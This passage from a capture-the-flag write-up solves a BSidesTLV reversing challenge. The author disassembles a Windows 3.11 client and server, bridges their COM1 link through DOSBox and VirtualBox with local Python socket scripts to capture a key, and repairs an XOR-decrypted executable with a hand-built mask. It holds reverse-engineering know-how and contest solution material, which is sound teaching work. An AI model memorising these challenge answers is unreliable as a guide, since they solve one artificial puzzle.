:0001.015E 46 inc si :0001.015F 8D46AC lea ax, [bp-54] :0001.0162 3BF0 cmp si, ax :0001.0164 72CE jb 0134 * Possible StringData Ref from Data Seg 002 ->"Done. bye" | :0001.0166 68B400 push 00B4 :0001.0169 0E push cs :0001.016A E8DFFE call 004C :0001.016D 83C402 add sp, 0002 :0001.0170 5E pop si :0001.0171 5F pop di :0001.0172 C9 leave :0001.0173 CB retf ``` Even without diving into all the details, we can make a few basic observations: * `call 004C` looks like the "Print" function, since before calling it, we can see the program push the strings that appeared in the program output * `call 0FF2` looks like the "Send" function. It's called once with a parameter of 0x91 (the magic byte?) and then in a loop (the key?). The sending loop seems to use a format specifier of "%02X" to extract bytes before sending them. How is the data being sent? Here's the function at 0xFF2: ```assembly * Referenced by a CALL at Addresses: |:0001.0122, :0001.014D, :0001.0158, :0001.0CDE | :0001.0FF2 55 push bp :0001.0FF3 8BEC mov bp, sp :0001.0FF5 56 push si :0001.0FF6 FF7604 push word ptr [bp+04] :0001.0FF9 6A00 push 0000 :0001.0FFB 9A2C100000 call USER.GETWINDOWWORD :0001.1000 8BF0 mov si, ax :0001.1002 0BF0 or si, ax :0001.1004 7506 jne 100C :0001.1006 33C0 xor ax, ax :0001.1008 5E pop si :0001.1009 C9 leave :0001.100A C3 ret :0001.100B 90 nop * Referenced by a (U)nconditional or (C)onditional Jump at Address: |:0001.1004(C) | :0001.100C FF34 push word ptr [si] :0001.100E 8D4606 lea ax, [bp+06] :0001.1011 16 push ss :0001.1012 50 push ax :0001.1013 6A01 push 0001 :0001.1015 9AFFFF0000 call USER.WRITECOMM :0001.101A B80100 mov ax, 0001 :0001.101D 5E pop si :0001.101E C9 leave :0001.101F C3 ret ``` It is calling `WRITECOMM`, which is used for serial communication. And the strings window mentioned COM1, which is referenced by: ```assembly * Possible StringData Ref from Data Seg 002 ->"COM1" | :0001.0D32 680301 push 0103 :0001.0D35 680010 push 1000 :0001.0D38 680010 push 1000 :0001.0D3B 9AFFFF0000 call USER.OPENCOMM ``` So it looks like COM1 is used for the communication. Let's setup COM1 and allow the programs to communicate. DOSBox supports serial communication, we just need to open the DOSBox configuration file (`dosbox.conf`) and change `serial1=dummy` to `serial1=directserial realport:com1`. Now the DOSBox COM1 port is connected to the physical COM1 port on our host. Wait, what? This is 2019, we don't have a physical COM1 port on our host. We can download software to create a virtual COM1 port, but let's just use something we already have installed - VirtualBox. We just need to copy DOSBox into an existing virtual machine and configure the serial connection. VirtualBox has several options to configure a COM port (see [here](https://www.virtualbox.org/manual/ch03.html#serialports)). We'll use the TCP Socket: > TCP Socket: Useful for forwarding serial traffic over TCP/IP, acting as a server, or it can act as a TCP client connecting to other servers. This option enables a remote machine to directly connect to the guest's serial port using TCP. > > * TCP Server: Deselect the Connect to Existing Pipe/Socket check box and specify the port number in the Path/Address field. This is typically 23 or 2023. Note that on UNIX-like systems you will have to use a port a number greater than 1024 for regular users. The client can use software such as PuTTY or the telnet command line tool to access the TCP Server. > > * TCP Client: To create a virtual null-modem cable over the Internet or LAN, the other side can connect using TCP by specifying hostname:port in the Path/Address field. The TCP socket will act in client mode if you select the Connect to Existing Pipe/Socket check box. First, we'd like client to send us the key, so we'll setup a virtual COM port as a client and implement a TCP server. The implementation: ```python import socket import sys TCP_IP = '127.0.0.1' TCP_PORT = 5005 BUFFER_SIZE = 0x200 s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.bind((TCP_IP, TCP_PORT)) s.listen(1) conn, addr = s.accept() sys.stderr.write('Connection address: {}'.format(addr)) while True: data = conn.recv(BUFFER_SIZE) if not data: break sys.stdout.write(data) conn.close() ``` The VirtualBox settings: ![](images/vbox_client.png) We start our TCP server, start our VirtualBox guest, boot Windows 3.11 via DOSBox in our guest and launch our client. The result: ``` ‘06E820075A5DE9ED1ECA0200558BEC6823018B4608E80C078B4606E806075A5DE91B20CA0400558BEC683D018B4608E800078B4606E8EC065A5DE91588CA0400558BEC6857018B4608E8E6068B4606E8D2065A5DE98485B8FFFFCA0400558BEC6874018B460CE8C9068B460AE8B5065A5DE9C683CA0800558BEC6888018B4606E8AF065A5DE9A086CA0200558BEC689C018B4606E89B065A5DE9D585CA0200558BEC68B6018B4608E887068B4606E873065A5DE90487CA0400558BEC68CA018B4606E85F065A5DE9B648CA0200558BEC68EA018B460CE84B068B46088B4E0A8D5E06E8C2065A5DE9CF48558BEC8B4E068B5E088B560A5DE83B07CA0800558BEC ``` If we inspect the result with a HEX editor, we see that the first character is indeed 0x91 (our magic byte), following by the textual representation of a byte stream (512 characters, representing our 256-byte key): ```console root@kali:/media/sf_CTFs/bsidestlv/DoSaTTaCK# xxd -g 1 incoming.txt | head -1 00000000: 91 30 36 45 38 32 30 30 37 35 41 35 44 45 39 45 .06E820075A5DE9E root@kali:/media/sf_CTFs/bsidestlv/DoSaTTaCK# stat --printf="%s" incoming.txt 513 ``` Note: A different approach to extract the key, used by another team member, was to patch the client with an infinite loop, mark the memory location of the key with an easy-to-find pattern and inspect the emulator memory, searching for the pattern. Now we have to send the data back, feeding the server. We setup the virtual COM device as a server and implement a TCP client. The VirtualBox settings: ![](images/vbox_server.png) The implementation: ```python import socket TCP_IP = '127.0.0.1' TCP_PORT = 2023 s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((TCP_IP, TCP_PORT)) with open ("incoming.txt", "r") as f: buf = f.read() for b in buf: s.send(b) # We send some NULLs in order to flush the COM1 buffer # Without this, only ~half of the key would be passed # to the application, causing every other ~128B chunk to # be decrypted. for i in range(1024): s.send("\x00") print "Done" ``` We start our VirtualBox guest, boot Windows 3.11 via DOSBox in our guest and launch our server. We then trigger our TCP client. (Note the after some trial and error, we found out that there is need to send some NULL bytes after the key due to some OS buffering issue. Otherwise, only ~half of the buffer would be passed to the application. This was reproducible even by popping up a command line in the guest OS and running `type COM1`, so it's not related to DOSBox or the challenge executable). The result: ![](images/decrypted.png) Looks good! We now should have a DOS executable. However, when we try to run in in DOSBox, it crashes! Time to take a look at the server disassembly. We start from the strings: ![](images/server_stringref.png) We follow `"Decrypted OK. Outputfile: MAIN.EXE"` and arrive to: ```assembly * Referenced by a (U)nconditional or (C)onditional Jump at Addresses: |:0001.0CED(U), :0001.0CF7(U) | :0001.0C3A 685802 push 0258 :0001.0C3D 8D8680FD lea ax, [bp+FD80] :0001.0C41 16 push ss :0001.0C42 50 push ax :0001.0C43 57 push di :0001.0C44 E86D03 call 0FB4 :0001.0C47 83C408 add sp, 0008 :0001.0C4A 8946FE mov [bp-02], ax :0001.0C4D 0BC0 or ax, ax :0001.0C4F 7443 je 0C94 :0001.0C51 80BE80FD91 cmp byte ptr [bp+FD80], 91 :0001.0C56 7526 jne 0C7E :0001.0C58 8D8680FD lea ax, [bp+FD80] :0001.0C5C 16 push ss :0001.0C5D 50 push ax :0001.0C5E 0E push cs :0001.0C5F E8EAF3 call 004C :0001.0C62 83C404 add sp, 0004 :0001.0C65 57 push di :0001.0C66 1E push ds * Possible StringData Ref from Data Seg 002 ->"Decrypted OK. Outputfile: MAIN.EXE" | :0001.0C67 687701 push 0177 :0001.0C6A 1E push ds * Possible StringData Ref from Data Seg 002 ->"BSidesTLV" | :0001.0C6B 686D01 push 016D :0001.0C6E 6A40 push 0040 :0001.0C70 9AFF030000 call USER.MESSAGEBOX ``` Here we can see the check for the magic byte at address `0001.0C51`, after which the program calls `call 004C` and declares that the decryptions was successful. Inspecting that function, the main decryption loop seems to be: ```assembly * Referenced by a (U)nconditional or (C)onditional Jump at Address: |:0001.0178(C) | :0001.013C 57 push di :0001.013D 9AA22B6F01 call 0001.2BA2 :0001.0142 83C402 add sp, 0002 :0001.0145 8846FF mov [bp-01], al :0001.0148 81FE0001 cmp si, 0100 :0001.014C 7E15 jle 0163 :0001.014E 8BC6 mov ax, si :0001.0150 B9FF00 mov cx, 00FF :0001.0153 99 cwd :0001.0154 F7F9 idiv cx :0001.0156 8BDA mov bx, dx :0001.0158 8D86ECFE lea ax, [bp+FEEC] :0001.015C 03D8 add bx, ax :0001.015E 8A07 mov al , [bx] :0001.0160 3046FF xor [bp-01], al * Referenced by a (U)nconditional or (C)onditional Jump at Address: |:0001.014C(C) | :0001.0163 FF76F8 push word ptr [bp-08] :0001.0166 8A46FF mov al , [bp-01] :0001.0169 2AE4 sub ah, ah :0001.016B 50 push ax :0001.016C 9A522B7E01 call 0001.2B52 :0001.0171 83C404 add sp, 0004 :0001.0174 46 inc si :0001.0175 3B76F6 cmp si, [bp-0A] :0001.0178 72C2 jb 013C ``` It jumps over the first 0x100 bytes of `MAIN.ENC` and performs a simple XOR decryption on the remaining file. After inspecting the decrypted `MAIN.EXE` and searching for any observations, it looks like the end of the file contains lots of meaningful text. This is a good sign. However, every now and then, some of the text was messed up. If we align the hex dump in a certain way, we can identify several columns which are corrupted, while the rest of the text seems Ok. This can be seen in the following dump (scroll to the right to see the text): ```console xxd -g 1 -c 255 -s 10455 MAIN.EXE 000028d7: 65 74 43 53 73 69 67 00 5f 67 65 74 46 69 6c 65 53 69 67 00 5f 69 73 44 4f 53 33 76 33 30 00 5f 64 69 73 61 62 6c 65 49 4e 54 33 00 5f 6d 61 69 6e 00 5f 61 74 65 78 69 74 00 5f b3 6b 6f 73 5f 67 65 74 66 69 6c 65 61 74 74 72 00 5f 5f 64 6f 73 5f 73 65 74 8a 69 6c 65 61 74 74 72 00 5f 65 78 69 74 00 5f 5f 65 78 69 74 00 5f 5f 63 65 78 69 74 6c 5f 5f 63 5f 65 78 69 74 00 5f 5f 49 4f 45 52 52 4f 52 00 7b 5f 44 4f 53 45 52 52 4f 52 00 5f 69 73 61 74 74 79 00 5f 33 4c 4f 4e 47 54 4f 41 00 5f 5f 55 54 4f 41 00 5f 6c 73 65 65 6b 00 5f 5f 4d a7 4f 41 4d 45 00 5f 5f 54 4d 50 4e 41 4d 00 4e 5f 53 43 4f 50 59 40 00 5f 5f 72 65 61 64 00 5f 73 65 67 72 65 61 64 00 5f 5f 73 65 74 75 70 69 6f 00 5f 74 65 6c 6c 00 5f 75 6e 6c 69 6e 6b 00 5f 5f 56 50 52 49 4e 54 45 52 00 etCSsig._getFileSig._isDOS3v30._disableINT3._main._atexit._.kos_getfileattr.__dos_set.ileattr._exit.__exit.__cexitl__c_exit.__IOERROR.{_DOSERROR._isatty._3LONGTOA.__UTOA._lseek.__M.OAME.__TMPNAM.N_SCOPY@.__read._segread.__setupio._tell._unlink.__VPRINTER. 000029d6: 5f 5f 73 74 70 63 70 79 00 5f 5f 5f 62 72 6b 00 5f 5f 5f 73 62 72 6b 00 5f 62 72 6b 00 5f 73 62 72 6b 00 5f 69 6e 74 64 6f 73 00 5f 69 6e 74 64 6f 73 78 00 5f 69 6f 63 74 6c 00 b3 69 72 65 65 00 5f 6d 61 6c 6c 6f 63 00 5f 72 65 61 6c 6c 6f 63 00 5f 5f 52 a9 41 4c 43 56 54 00 5f 5f 63 68 6d 6f 64 00 5f 63 6c 6f 73 65 00 5f 5f 63 6c 6f 73 65 6c 5f 65 6f 66 00 5f 66 63 6c 6f 73 65 00 5f 66 66 6c 75 73 4c 00 5f 66 6c 75 73 68 61 6c 6c 00 5f 5f 4f 50 45 4e 46 50 6c 5f 5f 47 45 54 46 50 00 5f 66 6f 70 65 6e 00 5f 66 73 65 65 6b 00 5f 66 74 89 6d 6c 00 5f 5f 66 67 65 74 63 00 5f 66 67 65 74 63 00 5f 5f 4e 66 67 65 74 63 00 5f 66 67 65 74 63 68 61 72 00 5f 6d 65 6d 63 70 79 00 5f 73 65 74 6d 65 6d 00 5f 6d 65 6d 73 65 74 00 5f 6f 70 65 6e 00 5f 5f 6f 70 65 6e 00 __stpcpy.___brk.___sbrk._brk._sbrk._intdos._intdosx._ioctl..iree._malloc._realloc.__R.ALCVT.__chmod._close.__closel_eof._fclose._fflusL._flushall.__OPENFPl__GETFP._fopen._fseek._ft.ml.__fgetc._fgetc.__Nfgetc._fgetchar._memcpy._setmem._memset._open.__open. 00002ad5: 5f 70 72 69 6e 74 66 00 5f 5f 66 70 75 74 63 00 5f 66 70 75 74 63 00 5f 66 70 75 74 63 68 61 72 00 5f 5f 46 50 55 54 4e 00 5f 5f 5f 72 65 61 64 00 5f 73 65 74 76 62 75 66 00 5f 9f 7b 72 63 61 74 00 5f 73 74 72 6c 65 6e 00 5f 5f 5f 77 72 69 74 65 00 5f 5f 9b 72 69 74 65 00 5f 5f 78 66 63 6c 6f 73 65 00 5f 5f 78 66 66 6c 75 73 68 00 5f 5f 66 01 65 6d 63 70 79 00 44 41 54 41 53 45 47 40 00 5f 5f 49 6e 50 30 56 65 63 74 6f 72 00 5f 5f 49 6e 74 34 56 65 63 74 6f 1e 00 5f 5f 49 6e 74 35 56 65 63 74 6f 72 00 5f 5f 49 6e 74 36 56 65 63 74 6f 9e 01 5f 5f 43 30 61 72 67 63 00 5f 5f 43 30 61 72 67 76 00 5f 5f 43 30 65 6e 76 69 72 6f 6e 00 5f 5f 65 6e 76 4c 6e 67 00 5f 5f 65 6e 76 73 65 67 00 5f 5f 65 6e 76 53 69 7a 65 00 5f 5f 70 73 70 00 5f 5f 6f 73 76 65 72 73 69 _printf.__fputc._fputc._fputchar.__FPUTN.___read._setvbuf._.{rcat._strlen.___write.__.rite.__xfclose.__xfflush.__f.emcpy.DATASEG@.__InP0Vector.__Int4Vecto..__Int5Vector.__Int6Vecto..__C0argc.__C0argv.__C0environ.__envLng.__envseg.__envSize.__psp.__osversi 00002bd4: 6f 6e 00 5f 5f 6f 73 6d 61 6a 6f 72 00 5f 5f 76 65 72 73 69 6f 6e 00 5f 5f 6f 73 6d 69 6e 6f 72 00 5f 65 72 72 6e 6f 00 5f 5f 53 74 61 72 74 54 69 6d 65 00 5f 5f 5f 68 65 61 70 8e 6e 73 65 00 5f 5f 5f 62 72 6b 6c 76 6c 00 5f 5f 68 65 61 70 62 61 73 65 00 b3 5f 62 72 6b 6c 76 6c 00 5f 5f 68 65 61 70 74 6f 70 00 5f 5f 61 74 65 78 69 74 63 6e 18 00 5f 5f 65 78 69 74 62 75 66 00 5f 5f 65 78 69 74 66 6f 54 65 6e 00 5f 5f 65 78 69 74 6f 70 65 6e 00 5f 5f 73 74 72 09 61 6d 73 00 5f 5f 6e 66 69 6c 65 00 5f 5f 6f 70 65 6e 66 64 00 5f 5f 66 6d 83 65 65 00 5f 5f 6e 6f 74 55 6d 61 73 6b 00 5f 5f 68 65 61 70 6c 65 6e 00 5f 5f 64 6f 73 65 72 72 6e 6f 00 5f 5f 64 6f 73 45 72 72 6f 72 54 6f 53 56 00 5f 5f 73 74 6b 6c 65 6e 00 5f 5f 66 69 72 73 74 00 5f 5f 6c 61 73 74 00 on.__osmajor.__version.__osminor._errno.__StartTime.___heap.nse.___brklvl.__heapbase.._brklvl.__heaptop.__atexitcn..__exitbuf.__exitfoTen.__exitopen.__str.ams.__nfile.__openfd.__fm.ee.__notUmask.__heaplen.__doserrno.__dosErrorToSV.__stklen.__first.__last. 00002cd3: 5f 5f 72 6f 76 65 72 00 5f 5f 52 65 61 6c 43 76 74 56 65 63 74 6f 72 00 5f 5f 53 63 61 6e 54 6f 64 56 65 63 74 6f 72 00 5f 5f 61 74 65 78 69 74 74 62 6c 00 5f 5f 63 76 74 66 61 87 0f 5f 5f 41 48 53 48 49 46 54 00 5f 5f 41 48 49 4e 43 52 00 2e 2e 5c 2e 2e b0 43 4f 44 45 5c 4d 41 49 4e 2e 43 00 4d 41 49 4e 00 73 69 7a 65 00 64 61 74 61 00 63 1e 63 00 6a 00 69 00 62 69 74 5f 66 6c 61 67 00 62 69 74 73 7b 72 65 61 64 00 6f 75 74 00 6c 65 6e 00 70 6f 69 00 69 70 18 72 00 72 70 74 72 00 73 70 63 69 6e 67 00 74 70 74 72 00 6b 65 79 00 69 43 bf 01 6f 66 66 73 65 74 00 61 72 72 00 6c 65 76 65 6c 00 66 6c 61 67 73 00 66 64 00 68 6f 6c 64 00 62 73 69 7a 65 00 62 75 66 66 65 72 00 63 75 72 70 00 69 73 74 65 6d 70 00 74 6f 6b 65 6e 00 66 00 61 78 00 62 78 00 63 78 00 __rover.__RealCvtVector.__ScanTodVector.__atexittbl.__cvtfa..__AHSHIFT.__AHINCR...\...CODE\MAIN.C.MAIN.size.data.c.c.j.i.bit_flag.bits{read.out.len.poi.ip.r.rptr.spcing.tptr.key.iC..offset.arr.level.flags.fd.hold.bsize.buffer.curp.istemp.token.f.ax.bx.cx. 00002dd2: 64 78 00 73 69 00 64 69 00 63 66 6c 61 67 00 57 4f 52 44 52 45 47 53 00 61 6c 00 61 68 00 62 6c 00 62 68 00 63 6c 00 63 68 00 64 6c 00 64 68 00 42 59 54 45 52 45 47 53 00 78 00 84 0f 52 45 47 53 00 6f 75 74 72 65 67 73 00 69 6e 72 65 67 73 00 65 73 00 63 9f 00 73 73 00 64 73 00 53 52 45 47 53 00 73 72 67 73 00 73 74 72 00 63 69 70 68 65 72 6c 46 69 6c 65 43 52 43 00 43 53 63 72 63 00 64 61 74 61 73 41 67 00 63 00 72 65 73 00 46 49 4c 45 00 66 70 6f 73 5f 74 6c 73 69 7a 65 5f 74 00 dx.si.di.cflag.WORDREGS.al.ah.bl.bh.cl.ch.dl.dh.BYTEREGS.x...REGS.outregs.inregs.es.c..ss.ds.SREGS.srgs.str.cipherlFileCRC.CScrc.datasAg.c.res.FILE.fpos_tlsize_t. ``` This might mean that we got (almost) all of the key right, and something went wrong with several bytes. We can go back to the client disassembly and try to understand what went wrong, but another approach is to try and guess the key from the information we have. Let's mark the columns that seem wrong: ``` etCSsig._getFileSig._isDOS3v30._disableINT3._main._atexit._.kos_getfileattr.__dos_set.ileattr._exit.__exit.__cexitl__c_exit.__IOERROR.{_DOSERROR._isatty._3LONGTOA.__UTOA._lseek.__M.OAME.__TMPNAM.N_SCOPY@.__read._segread.__setupio._tell._unlink.__VPRINTER. __stpcpy.___brk.___sbrk._brk._sbrk._intdos._intdosx._ioctl..iree._malloc._realloc.__R.ALCVT.__chmod._close.__closel_eof._fclose._fflusL._flushall.__OPENFPl__GETFP._fopen._fseek._ft.ml.__fgetc._fgetc.__Nfgetc._fgetchar._memcpy._setmem._memset._open.__open. _printf.__fputc._fputc._fputchar.__FPUTN.___read._setvbuf._.{rcat._strlen.___write.__.rite.__xfclose.__xfflush.__f.emcpy.DATASEG@.__InP0Vector.__Int4Vecto..__Int5Vector.__Int6Vecto..__C0argc.__C0argv.__C0environ.__envLng.__envseg.__envSize.__psp.__osversi on.__osmajor.__version.__osminor._errno.__StartTime.___heap.nse.___brklvl.__heapbase.._brklvl.__heaptop.__atexitcn..__exitbuf.__exitfoTen.__exitopen.__str.ams.__nfile.__openfd.__fm.ee.__notUmask.__heaplen.__doserrno.__dosErrorToSV.__stklen.__first.__last. __rover.__RealCvtVector.__ScanTodVector.__atexittbl.__cvtfa..__AHSHIFT.__AHINCR...\...CODE\MAIN.C.MAIN.size.data.c.c.j.i.bit_flag.bits{read.out.len.poi.ip.r.rptr.spcing.tptr.key.iC..offset.arr.level.flags.fd.hold.bsize.buffer.curp.istemp.token.f.ax.bx.cx. dx.si.di.cflag.WORDREGS.al.ah.bl.bh.cl.ch.dl.dh.BYTEREGS.x...REGS.outregs.inregs.es.c..ss.ds.SREGS.srgs.str.cipherlFileCRC.CScrc.datasAg.c.res.FILE.fpos_tlsize_t. ## # # # # ## ``` This time, we marked the incorrect columns. For the first two bytes, we can guess the correct value according to the third line, that should be "_strcat". For the next incorrect byte, the last line should contain "cs". And the forth byte can be guessed using "_fmemcpy" in the first line. We continue to guess the correct values in a similar manner. Since everything is aligned so nicely, we can easily use the last "hash line" we created in order to mark the errors as a base for a mask to fix the output file. Now, we just need to XOR the current values of the file with the expected values to get the correct mask values. ```console root@kali:/media/sf_CTFs/bsidestlv/DoSaTTaCK# echo -n " ## # # # # ## " | tr " " \\0 > mask.bin && xxd mask.bin 00000000: 0000 0000 0000 0000 0000 0000 0000 0000 ................ 00000010: 0000 0000 0000 0000 0000 0000 0000 0000 ................ 00000020: 0000 0000 0000 0000 0000 0000 0000 0000 ................ 00000030: 0000 0000 0000 0000 0000 0023 2300 0000 ...........##... 00000040: 0000 0000 0000 0000 0000 0000 0000 0000 ................ 00000050: 0000 0000 0023 0000 0000 0000 0000 0000 .....#.......... 00000060: 0000 0000 0000 0000 0000 0000 0000 0000 ................ 00000070: 0000 2300 0000 0000 0000 0000 0000 0000 ..#............. 00000080: 0000 0000 0000 2300 0000 0000 0000 0000 ......#......... 00000090: 0000 0000 0000 0000 0000 2300 0000 0000 ..........#..... 000000a0: 0000 0000 0000 0000 0000 0000 0000 0000 ................ 000000b0: 0000 0000 2323 0000 0000 0000 0000 0000 ....##.......... 000000c0: 0000 0000 0000 0000 0000 0000 0000 0000 ................ 000000d0: 0000 0000 0000 0000 0000 0000 0000 0000 ................ 000000e0: 0000 0000 0000 0000 0000 0000 0000 0000 ................ 000000f0: 0000 0000 0000 0000 0000 0000 0000 00 ............... ``` After manually fixing the mask, we get: ```console root@kali:/media/sf_CTFs/bsidestlv/DoSaTTaCK# xxd mask.bin 00000000: 0000 0000 0000 0000 0000 0000 0000 0000 ................ 00000010: 0000 0000 0000 0000 0000 0000 0000 0000 ................ 00000020: 0000 0000 0000 0000 0000 0000 0000 0000 ................ 00000030: 0000 0000 0000 0000 0000 00ec 0f00 0000 ................ 00000040: 0000 0000 0000 0000 0000 0000 0000 0000 ................ 00000050: 0000 0000 00ec 0000 0000 0000 0000 0000 ................ 00000060: 0000 0000 0000 0000 0000 0000 0000 0000 ................ 00000070: 0000 6c00 0000 0000 0000 0000 0000 0000 ..l............. 00000080: 0000 0000 0000 2400 0000 0000 0000 0000 ......$......... 00000090: 0000 0000 0000 0000 0000 6c00 0000 0000 ..........l..... 000000a0: 0000 0000 0000 0000 0000 0000 0000 0000 ................ 000000b0: 0000 0000 ec01 0000 0000 0000 0000 0000 ................ 000000c0: 0000 0000 0000 0000 0000 0000 0000 0000 ................ 000000d0: 0000 0000 0000 0000 0000 0000 0000 0000 ................ 000000e0: 0000 0000 0000 0000 0000 0000 0000 0000 ................ 000000f0: 0000 0000 0000 0000 0000 0000 0000 00 ............... ``` Now we apply it to `MAIN.EXE` with the following Python script: ```python import os import mmap def memory_map(filename, access=mmap.ACCESS_READ): size = os.path.getsize(filename) fd = os.open(filename, os.O_RDWR) return mmap.mmap(fd, size, access=access) with memory_map("MAIN.EXE") as src, \ memory_map("mask.bin") as mask, \ open("MAIN_fix.exe", "wb") as dst: skip = 255 dst.write(src[0:skip]) for i, b in enumerate(src[skip:]): dst.write((b ^ mask[i % 255]).to_bytes(1, byteorder="little")) ``` Finally, we inspect the fix: ```console xxd -g 1 -c 255 -s 10455 MAIN_fix.EXE 000028d7: 65 74 43 53 73 69 67 00 5f 67 65 74 46 69 6c 65 53 69 67 00 5f 69 73 44 4f 53 33 76 33 30 00 5f 64 69 73 61 62 6c 65 49 4e 54 33 00 5f 6d 61 69 6e 00 5f 61 74 65 78 69 74 00 5f 5f 64 6f 73 5f 67 65 74 66 69 6c 65 61 74 74 72 00 5f 5f 64 6f 73 5f 73 65 74 66 69 6c 65 61 74 74 72 00 5f 65 78 69 74 00 5f 5f 65 78 69 74 00 5f 5f 63 65 78 69 74 00 5f 5f 63 5f 65 78 69 74 00 5f 5f 49 4f 45 52 52 4f 52 00 5f 5f 44 4f 53 45 52 52 4f 52 00 5f 69 73 61 74 74 79 00 5f 5f 4c 4f 4e 47 54 4f 41 00 5f 5f 55 54 4f 41 00 5f 6c 73 65 65 6b 00 5f 5f 4d 4b 4e 41 4d 45 00 5f 5f 54 4d 50 4e 41 4d 00 4e 5f 53 43 4f 50 59 40 00 5f 5f 72 65 61 64 00 5f 73 65 67 72 65 61 64 00 5f 5f 73 65 74 75 70 69 6f 00 5f 74 65 6c 6c 00 5f 75 6e 6c 69 6e 6b 00 5f 5f 56 50 52 49 4e 54 45 52 00 etCSsig._getFileSig._isDOS3v30._disableINT3._main._atexit.__dos_getfileattr.__dos_setfileattr._exit.__exit.__cexit.__c_exit.__IOERROR.__DOSERROR._isatty.__LONGTOA.__UTOA._lseek.__MKNAME.__TMPNAM.N_SCOPY@.__read._segread.__setupio._tell._unlink.__VPRINTER. 000029d6: 5f 5f 73 74 70 63 70 79 00 5f 5f 5f 62 72 6b 00 5f 5f 5f 73 62 72 6b 00 5f 62 72 6b 00 5f 73 62 72 6b 00 5f 69 6e 74 64 6f 73 00 5f 69 6e 74 64 6f 73 78 00 5f 69 6f 63 74 6c 00 5f 66 72 65 65 00 5f 6d 61 6c 6c 6f 63 00 5f 72 65 61 6c 6c 6f 63 00 5f 5f 52 45 41 4c 43 56 54 00 5f 5f 63 68 6d 6f 64 00 5f 63 6c 6f 73 65 00 5f 5f 63 6c 6f 73 65 00 5f 65 6f 66 00 5f 66 63 6c 6f 73 65 00 5f 66 66 6c 75 73 68 00 5f 66 6c 75 73 68 61 6c 6c 00 5f 5f 4f 50 45 4e 46 50 00 5f 5f 47 45 54 46 50 00 5f 66 6f 70 65 6e 00 5f 66 73 65 65 6b 00 5f 66 74 65 6c 6c 00 5f 5f 66 67 65 74 63 00 5f 66 67 65 74 63 00 5f 5f 4e 66 67 65 74 63 00 5f 66 67 65 74 63 68 61 72 00 5f 6d 65 6d 63 70 79 00 5f 73 65 74 6d 65 6d 00 5f 6d 65 6d 73 65 74 00 5f 6f 70 65 6e 00 5f 5f 6f 70 65 6e 00 __stpcpy.___brk.___sbrk._brk._sbrk._intdos._intdosx._ioctl._free._malloc._realloc.__REALCVT.__chmod._close.__close._eof._fclose._fflush._flushall.__OPENFP.__GETFP._fopen._fseek._ftell.__fgetc._fgetc.__Nfgetc._fgetchar._memcpy._setmem._memset._open.__open. 00002ad5: 5f 70 72 69 6e 74 66 00 5f 5f 66 70 75 74 63 00 5f 66 70 75 74 63 00 5f 66 70 75 74 63 68 61 72 00 5f 5f 46 50 55 54 4e 00 5f 5f 5f 72 65 61 64 00 5f 73 65 74 76 62 75 66 00 5f 73 74 72 63 61 74 00 5f 73 74 72 6c 65 6e 00 5f 5f 5f 77 72 69 74 65 00 5f 5f 77 72 69 74 65 00 5f 5f 78 66 63 6c 6f 73 65 00 5f 5f 78 66 66 6c 75 73 68 00 5f 5f 66 6d 65 6d 63 70 79 00 44 41 54 41 53 45 47 40 00 5f 5f 49 6e 74 30 56 65 63 74 6f 72 00 5f 5f 49 6e 74 34 56 65 63 74 6f 72 00 5f 5f 49 6e 74 35 56 65 63 74 6f 72 00 5f 5f 49 6e 74 36 56 65 63 74 6f 72 00 5f 5f 43 30 61 72 67 63 00 5f 5f 43 30 61 72 67 76 00 5f 5f 43 30 65 6e 76 69 72 6f 6e 00 5f 5f 65 6e 76 4c 6e 67 00 5f 5f 65 6e 76 73 65 67 00 5f 5f 65 6e 76 53 69 7a 65 00 5f 5f 70 73 70 00 5f 5f 6f 73 76 65 72 73 69 _printf.__fputc._fputc._fputchar.__FPUTN.___read._setvbuf._strcat._strlen.___write.__write.__xfclose.__xfflush.__fmemcpy.DATASEG@.__Int0Vector.__Int4Vector.__Int5Vector.__Int6Vector.__C0argc.__C0argv.__C0environ.__envLng.__envseg.__envSize.__psp.__osversi 00002bd4: 6f 6e 00 5f 5f 6f 73 6d 61 6a 6f 72 00 5f 5f 76 65 72 73 69 6f 6e 00 5f 5f 6f 73 6d 69 6e 6f 72 00 5f 65 72 72 6e 6f 00 5f 5f 53 74 61 72 74 54 69 6d 65 00 5f 5f 5f 68 65 61 70 62 61 73 65 00 5f 5f 5f 62 72 6b 6c 76 6c 00 5f 5f 68 65 61 70 62 61 73 65 00 5f 5f 62 72 6b 6c 76 6c 00 5f 5f 68 65 61 70 74 6f 70 00 5f 5f 61 74 65 78 69 74 63 6e 74 00 5f 5f 65 78 69 74 62 75 66 00 5f 5f 65 78 69 74 66 6f 70 65 6e 00 5f 5f 65 78 69 74 6f 70 65 6e 00 5f 5f 73 74 72 65 61 6d 73 00 5f 5f 6e 66 69 6c 65 00 5f 5f 6f 70 65 6e 66 64 00 5f 5f 66 6d 6f 64 65 00 5f 5f 6e 6f 74 55 6d 61 73 6b 00 5f 5f 68 65 61 70 6c 65 6e 00 5f 5f 64 6f 73 65 72 72 6e 6f 00 5f 5f 64 6f 73 45 72 72 6f 72 54 6f 53 56 00 5f 5f 73 74 6b 6c 65 6e 00 5f 5f 66 69 72 73 74 00 5f 5f 6c 61 73 74 00 on.__osmajor.__version.__osminor._errno.__StartTime.___heapbase.___brklvl.__heapbase.__brklvl.__heaptop.__atexitcnt.__exitbuf.__exitfopen.__exitopen.__streams.__nfile.__openfd.__fmode.__notUmask.__heaplen.__doserrno.__dosErrorToSV.__stklen.__first.__last. 00002cd3: 5f 5f 72 6f 76 65 72 00 5f 5f 52 65 61 6c 43 76 74 56 65 63 74 6f 72 00 5f 5f 53 63 61 6e 54 6f 64 56 65 63 74 6f 72 00 5f 5f 61 74 65 78 69 74 74 62 6c 00 5f 5f 63 76 74 66 61 6b 00 5f 5f 41 48 53 48 49 46 54 00 5f 5f 41 48 49 4e 43 52 00 2e 2e 5c 2e 2e 5c 43 4f 44 45 5c 4d 41 49 4e 2e 43 00 4d 41 49 4e 00 73 69 7a 65 00 64 61 74 61 00 63 72 63 00 6a 00 69 00 62 69 74 5f 66 6c 61 67 00 62 69 74 73 5f 72 65 61 64 00 6f 75 74 00 6c 65 6e 00 70 6f 69 00 69 70 74 72 00 72 70 74 72 00 73 70 63 69 6e 67 00 74 70 74 72 00 6b 65 79 00 69 43 53 00 6f 66 66 73 65 74 00 61 72 72 00 6c 65 76 65 6c 00 66 6c 61 67 73 00 66 64 00 68 6f 6c 64 00 62 73 69 7a 65 00 62 